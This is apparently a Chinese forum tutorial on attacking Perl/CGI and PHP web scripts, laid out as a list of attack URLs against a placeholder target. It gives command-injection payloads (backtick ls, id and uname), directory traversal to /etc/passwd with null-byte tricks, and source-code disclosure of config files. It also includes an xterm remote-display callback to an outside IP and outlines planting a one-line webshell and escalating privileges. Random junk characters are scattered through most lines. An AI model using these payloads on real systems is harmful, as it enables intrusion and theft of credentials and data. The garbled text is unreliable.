总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 2 j, x) i7 |. O) b I3 u2 c
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
5 R% E1 H. J' b) T; H& d/ }/ v感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
2 {$ M' B8 L6 H0 Z6 N! |# I注“ ( e: @7 e$ s) \
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
# R4 }/ R8 C8 J J& k4 e9 W2 ^, o以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET " F4 F3 u3 Q/ P& Y
+ X+ A5 @7 }3 b/ K3 i/ {http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 1 d* r7 S9 O0 W/ _( d% \! a- e% [) u* q% K4 J
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢
, \2 G; L; n% O( R* S7 rhttp://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 : w( `( h* s' ]2 V. Y
http://target.com/cgi-bin/home/news/sub.pl?`id` , j# t- `2 F( I: }+ |
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a` 1 b. |& Z0 l; k3 B; `7 K5 q/ o
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 9 B6 j7 f3 }; ]9 F9 v7 I' V
- W* B$ j. i6 j* i8 e& I
http://target.com/test.pl;ls| 6 v: y1 B! c! _0 e! G" h9 Z! |7 r ]
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
6 E1 S/ t" q9 o8 c' _( }http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| 6 E7 _3 i T$ T0 V
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
0 r7 ` k0 G" B1 c. i比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
3 m# S5 Y' z2 |: P1 Jhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
* _( c& C7 |& M0 |9 x8 n, k& Z @7 D0 G
http://target.com/test.pl?&........ /../../etc/passwd
( k, H( e$ P" A) F
2 D5 {" p/ G& d) e! j2 dhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./
n* b8 H6 }1 I: Q/ s" uhttp://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
- w9 D3 K+ L2 w9 I6 ]# Ehttp://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
4 e @; \6 |3 ]; A+ c2 x
$ V; i: A$ X) F. B) A3 Q6 whttp://www.target.org/show.php?f ... /include/config.php 查看php代码
9 R0 I0 i' P6 r# N" Yhttp://www.target.org/show.php?f ... ng/admin/global.php
o" h9 `& g5 r+ R% {6 W
9 J% A9 M6 X: g( Z$ L" N/ o4 gemm和ps的一句话
/ y( d" X1 S# S4 f2 n3 Q, m$ I+ u& N9 Q. v
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
7 ` d. A4 V( g# ?0 ]: C2 c V* t0 F7 n+ e& P7 `: r
>bbb%20|
* G* m* G# V& R. {0 W9 Z6 _6 ?
$ U7 p( _& ?( J0 ^" jhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串 0 s4 M" _) x( Z
" h% R- }! Y7 L2 N; chttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
^( V' X4 ~ P' N0 q" _9 Yhttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
4 h# q5 B/ O e9 C' g. H; n& c% Z: {$ Z# |1 H+ G9 Y
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
7 W6 _# @$ w B$ _1 Khttp://target.com/index.html#cmd.exe
8 Q* t0 w1 @, J& u. w1 a0 Z: }http://target.com/index.html?dummyparam=xp_cmdshell
( F# ^0 H. t# Flynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
# R d0 x+ J# {4 h |